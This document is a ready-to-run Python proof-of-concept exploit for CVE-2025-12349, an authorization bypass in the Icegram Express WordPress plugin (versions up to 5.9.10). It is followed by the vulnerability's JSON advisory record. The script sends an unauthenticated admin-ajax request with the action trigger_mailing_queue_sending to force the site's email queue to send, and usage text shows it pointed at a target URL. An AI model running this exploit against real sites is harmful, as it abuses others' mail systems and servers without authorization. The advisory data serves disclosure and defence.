CVE-2025-12349

import requests import sys # CVE-2025-12349 PoC - Unauthorized Email Queue Trigger # Target: Icegram Express Plugin < = 5.9.10 def exploit(target_url): """ Exploit for Icegram Express Authorization Bypass Allows unauthenticated attackers to trigger email queue sending """ # Target WordPress site with vulnerable plugin target = target_url.rstrip('/') # Method 1: Trigger via admin-ajax.php hook ajax_url = f"{target}/wp-admin/admin-ajax.php" # Icegram Express AJAX action to trigger mailing queue data = { 'action': 'trigger_mailing_queue_sending', 'es': 'sendmail', 'es_nonce': '' # No nonce required due to missing authorization check } print(f"[*] Targeting: {target}") print(f"[*] Exploiting CVE-2025-12349...") try: # Send malicious request without authentication response = requests.post(ajax_url, data=data, timeout=30) if response.status_code == 200: print(f"[+] Request sent successfully!") print(f"[+] Status Code: {response.status_code}") print(f"[*] Email queue may have been triggered") print(f"[*] This can cause: immediate email sending, bypass schedule, server overload") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12349.py <target_url>") print("Example: python cve-2025-12349.py http://victim.com") sys.exit(1) target_url = sys.argv[1] exploit(target_url)

{"cve": {"id": "CVE-2025-12349", "sourceIdentifier": "[email protected]", "published": "2025-11-19T05:16:00.083", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Icegram Express - Email Subscribers, Newsletters and Marketing Automation Plugin for WordPress is vulnerable to Authorization in versions up to, and including, 5.9.10. This is due to the plugin not properly verifying that a user is authorized to perform an action in the `trigger_mailing_queue_sending` function. This makes it possible for unauthenticated attackers to force immediate email sending, bypass the schedule, increase server load, and change plugin state (e.g., last-cron-hit), enabling abuse or DoS-like effects."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/email-subscribers/tags/5.9.4/lite/includes/classes/class-es-queue.php#L1132", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/email-subscribers/tags/5.9.4/lite/includes/classes/class-es-queue.php#L54", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=3394838%40email-subscribers%2Ftrunk&old=3393565%40email-subscribers%2Ftrunk&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0b4cbe21-9f1b-425b-8141-ae075baaf717?source=cve", "source": "[email protected]"}]}}